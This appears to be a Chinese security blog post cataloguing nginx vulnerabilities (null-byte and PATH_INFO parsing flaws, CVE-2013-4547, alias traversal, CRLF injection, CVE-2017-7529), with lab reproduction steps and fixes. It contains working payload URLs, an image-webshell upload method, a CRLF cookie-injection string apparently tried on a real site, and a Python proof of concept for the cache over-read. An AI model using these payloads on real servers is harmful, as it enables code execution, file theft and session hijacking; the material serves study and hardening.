nginx中间件漏洞总结

nginx中间件漏洞总结

空字节代码执行漏洞

产生原因

Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php来执行其中的代码。

影响版本

1
2
3
4
nginx 0.5.* 
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37

漏洞危害

该漏洞可以使得入侵者绕过服务端waf的检测,进而getshell。

漏洞复现

这里提供个打包好的Windows环境 Nginx 0.7.65+php 5.3.2

链接:https://pan.baidu.com/s/1FUVJv9iFCcX9Qp5D5AMxKw

提取码:imdm

解压后,在Nginx目录下执行startup.bat ,然后在nginx-0.7.65/html/创建一个 含有PHP代码的jpg文件,访问xxx.jpg%00.php即可成功解析php代码

1595063866853

漏洞修复

升级nginx

解析漏洞

产生原因

当Nginx配置FastCGI使用PHP时,会将诸如http://www.secquan.org/test.jpg/anything.php 这样的请 求,把test.jpg当作PHP文件来进行解析,而anything.php这个文件并不存在。实际上这并不是一个Nginx的漏洞, 而是PHP5默认配置的缺陷造成的。

当攻击者访问/info.jpg/xxx.php时, Nginx将查看URL,看到它以.php结尾,并将路径传递给PHP fastcgi处理程序。 PHP根据URL映射,在服务器上寻找xxx.php文件,但是xxx.php不存在,又由于cgi.fix_pathinfo默认是开启的,因此PHP 会继续检查路径中存在的文件,并将 多余的部分当作 PATH_INFO。接着PHP在文件系统中找到.jpg文件,而后以PHP的形式执行.jpg的内容,并将/xxx.php存储在 PATH_INFO 后丢弃,因此我们 在phpinfo中的$_SERVER[‘PATH_INFO’]看的到值为空。

常见的错误配置

1
2
3
4
5
6
7
8
9
10
server { 
location ~ \.php$ {
root /work/www/test;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_pass unix:/tmp/php-fpm.sock;
}
}

漏洞危害

该漏洞可以使得入侵者绕过服务端waf的检测,进而getshell。

漏洞复现

使用docker搭建环境

1
2
3
cd vulhub/nginx/nginx_parsing_vulnerability/
启动环境:
docker-compose up -d

先上传一张图片马
1595074072280

1595074228298

访问uploadfiles/3019f422209a6593f02fad5560f36b79.gif/.php,图片成功解析

1595074214509

漏洞修复

cgi.fix_pathinfo:该选项默认开启,值为1,用于修理路径, 例如:当php遇到文件路径”/info.jpg/xxx.php/lxh.sec”时,若”/info.jpg/xxx.php/lxh.sec”不存在,则会去掉最后的”/lxh.sec”,然后判断”/info.jpg/xxx.php”是否存 在, 若存在则将/info.jpg/xxx.php当作文件/info.jpg/xxx.php/lxh.sec,若/info.jpg/xxx.php仍不存在,则继续去掉xxx.php,依此类推。

  • 关闭cgi.fifix_pathinfo,令cgi.fifix_pathinfo为0;
1
2
3
4
5
6
7
8
9
修改配置文件vim /etc/php5/fpm/php.ini

将cgi.fix_pathinfo=1,设置为0

修改配置文件vim /etc/php5/fpm/pool.d/www.conf

将security.limit_extensions=,设置为:

security.limit_extensions=.php,只允许php文件解析。
  • 图片上传目录不给执行权限;

  • 升级php-fpm、nginx;

  • 安装相应的防护软件等等

1595075451205

文件名逻辑漏洞

CVE-2013-4547

漏洞产生

nginx错误地解析了请求的URI,原本只有.php后缀的文件才会被发送给fastcgi解析,但是当cve-2013- 4547漏洞存在时,文件名 1.gif[0x20][0x00].php 也会被当做php解析。

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞危害:该解析漏洞可以使得入侵者绕过服务端waf的检测,进而getshell。

漏洞复现

使用docker搭建环境

1
2
cd /vulhub-master/nginx/CVE-2013-4547
docker-compose up -d

1.上传一个含有php代码的图片
1595117496700

使用burp抓包,在文件名后面添加一个空格
1595117545327

访问该文件抓包,在文件名后添加++.php
1595117810248

在十六进制中找到两个连着的2b,并且将其依次改为20和00

1595117868744

发包之后成功解析php代码
1595117912144

漏洞修复

  • 图片上传目录不给执行权限;

  • 升级nginx

  • 安装防护软件

  • 设置security.limit_extensions = .php

目录穿越漏洞

漏洞产生

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

漏洞危害

导致敏感信息泄露,任意文件下载等等。

漏洞复现

直接使用docker搭建的漏洞环境。

https://www.leavesongs.com/PENETRATION/nginx-insecure-confifiguration.html

1
2
cd /vulhub-master/nginx/insecure-configuration
docker-compose up -d

直接访问url:http://192.168.102.128:8081/即可

1595080941980

接着访问/files/发现目录遍历
1595081434224

访问/files../成功穿越目录到服务器根目录

1595081463179

可下载一些敏感文件

漏洞修复

Nginx在配置别名(Alias)的时候,记得加/,如下:

1
2
3
location /files/ {
alias /home/;
}

CRLF注入漏洞

漏洞产生

Nginx会将 $uri 进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。错误的配置文件

示例(原本的目的是为了让http的请求跳转到https上):

1
2
3
location / { 
return 302 https://$host$uri;
}

漏洞危害

劫持合法用户会话,利用管理员身份进行恶意操作,篡改页面内容、进一步渗透网站;等等

利用CRLF Injection设置一个SESSION,造成一个“会话固定漏洞”

原理:session固定漏洞最为核心的其实应该是程序使用session作为认证方式,但又放开了session_id的设置,并且设置session_id在session_starts()执行之后,session_id以key/value的形式指定了后端使用哪个session。

1.Attacker先打开一个网站http://www.baidu.com,然后服务器会回复他一个session id。比如SID=abcdefg。Attacker把这个id记下了。

2.Attacker给UserA发送一个电子邮件,他假装是什么推销什么,诱导UserA点击链接http://unsafe/?SID=abcdefg,SID后面是Attacker自己的session id。

3.UserA被吸引了,点击了http://unsafe/?SID=abcdefg,像往常一样,输入了自己的帐号和口令从而登录到银行网站。

4.因为服务器的session id不改变,现在Attacker点击http://unsafe/?SID=abcdefg后,他就拥有了Alice的身份。可以为所欲为了。

漏洞复现

在之前挖洞的时候通过xray扫到过该漏洞

直接构造:https://xxxxxx/file_post/display/openedudl.php?SrcPath=%0aSet-cookie:JSPSESSID%3D9999999999999&Tag=1577835999即可构造一个session

1595120714580

修复建议

1
2
3
location / { 
return 302 https://$host$request_uri;
}

越界读取缓存漏洞

漏洞产生

当使用Nginx标准模块时,攻击者可以通过发送包含恶意构造range域的header请求,来获取响应中的 缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄 露。

漏洞影响版本:该漏洞影响所有0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存。

漏洞危害:攻击者可以构造特定的header头字段,能越界读取到缓存文件的头信息,而头信息中可能会包含nginx 代理站点的真实ip或是其他敏感信息

漏洞复现

直接使用docker搭建的漏洞环境。

1
2
cd /vulhub-master/nginx/CVE-2017-7529
docker-compose up -d

1,访问 http://192.168.102.128:8080/ ,即可查看到Nginx默认页面

2,调用 python3 poc.py http://192.168.102.128:8080/ ,读取返回结果

1595119335993

poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()

headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

漏洞修复

官方补丁如下:

http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html

http://nginx.org/download/patch.2017.ranges.txt

文章作者:CyzCc
最后更新:2020年12月07日 15:12:10
原始链接:https://cyzcc.vip/2020/07/19/nginx%E4%B8%AD%E9%97%B4%E4%BB%B6/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------